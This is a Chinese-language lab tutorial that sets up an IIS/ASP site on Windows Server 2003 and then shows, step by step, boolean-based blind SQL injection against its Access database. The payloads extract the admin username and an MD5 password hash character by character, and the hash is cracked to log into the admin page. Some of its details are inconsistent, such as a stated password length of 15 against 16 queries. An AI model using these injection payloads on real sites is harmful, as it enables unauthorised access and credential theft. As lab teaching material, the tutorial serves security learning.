一、搭建IIS
(1)打开windows server 2003,在管理工具中找到Internet(IIS)服务器并打开。展开网站,右键新建。
(2)输入网站描述。点击下一步
(3)输入网站ip地址,端口默认80,点击下一步
(4)、选择网站主目录路径。点击下一步。选择访问权限。
(5)、点击完成,设置默认网页为index.asp,删除其他文档,添加index.asp
(6)点击主目录-配置-启用父路径
(7)允许Active Service Pages
二、利用弱口令web漏洞获取到账号密码
(1)首先我们进入目标网站,随意点击几个连接,发现网站后方都是以id参数为结尾的
(2)一般情况下是通过and 1=1 、and 1=2 来判断的。
我们在id后面输入and 1=2,如果网页报错,则说明这个网站有可能给存在注入,如果输入and 1=1,网站返回正常,也说明这个网站可能存在注入。
(3)我们在id后面构造语句
and exists(select * from user)
意思是查询Access表中的user表,如果这个admin表存在,页面就会返回正常,如果不存在,则就会报错,至于是不是user,就要靠我们来进行暴力猜解了,可以看到错误说明不是user,改为admin成功访问,说明admin表存在
(4)猜admin表的列名
(5)我们发现返回正常,说明admin表中存在admin列,我们再继续猜解,看还有哪些列。
因为一般情况下,有一个账号列,就必然有一个密码列,因此现在继续猜解列,在id后构造内容:
and exists (select password from admin)
这条语句的大意为:查询admin表下的password列,如果存在就返回正常,如果不存在则页面报错
如图,现在可以得知数据库中存在admin、password的列名
(6)使用and (select top 1 len (admin) from admin)>数字 猜测用户名长
当输入4的时候返回正常,输入5的时候返回错误,因此我们判定,admin列的长度为5,password列长度也和上一步操作一样,只需将admin列改为password列即可,通过判断,admin列的内容都为5,password列内容是15。
(7)接下来猜解admin列和password列的内容,在id后构造语句
and (select top 1 asc (mid(admin,1,1)) from admin)>97
这条语句的意思是,如果admin列中第一个字符的ASCII码如果大于97则返回正常,如果小于97则返回错误。
大于96时正常,大于97时错误可以知道用户名第一个是a
(8)接下来猜测第二位
and (select top 1 asc (mid(admin,2,1)) from admin)>96
这里一直进行尝试,发现输入99正确,输入100错误,说明ASCII码为100,对的的是d这个字母,这样根据返回的页面依次往下猜测。
最终获得账号为admin
(9)
and (select top 1 asc (mid(password,1,1)) from admin)>97
and (select top 1 asc (mid(password,2,1)) from admin)>53
and (select top 1 asc (mid(password,3,1)) from admin)>56
and (select top 1 asc (mid(password,4,1)) from admin)>101
and (select top 1 asc (mid(password,5,1)) from admin)>49
and (select top 1 asc (mid(password,6,1)) from admin)>48
and (select top 1 asc (mid(password,7,1)) from admin)>57
and (select top 1 asc (mid(password,8,1)) from admin)>102
and (select top 1 asc (mid(password,9,1)) from admin)>97
and (select top 1 asc (mid(password,10,1)) from admin)>102
and (select top 1 asc (mid(password,11,1)) from admin)>99
and (select top 1 asc (mid(password,12,1)) from admin)>50
and (select top 1 asc (mid(password,13,1)) from admin)>53
and (select top 1 asc (mid(password,14,1)) from admin)>55
and (select top 1 asc (mid(password,15,1)) from admin)>100
and (select top 1 asc (mid(password,16,1)) from admin)>51
通过与之前一样的操作,我们得出MD5加密密码为a48e190fafc257d3使用工具破解可得password为bendss。
接下来访问:http://192.168.17.128/admin/admin_login.asp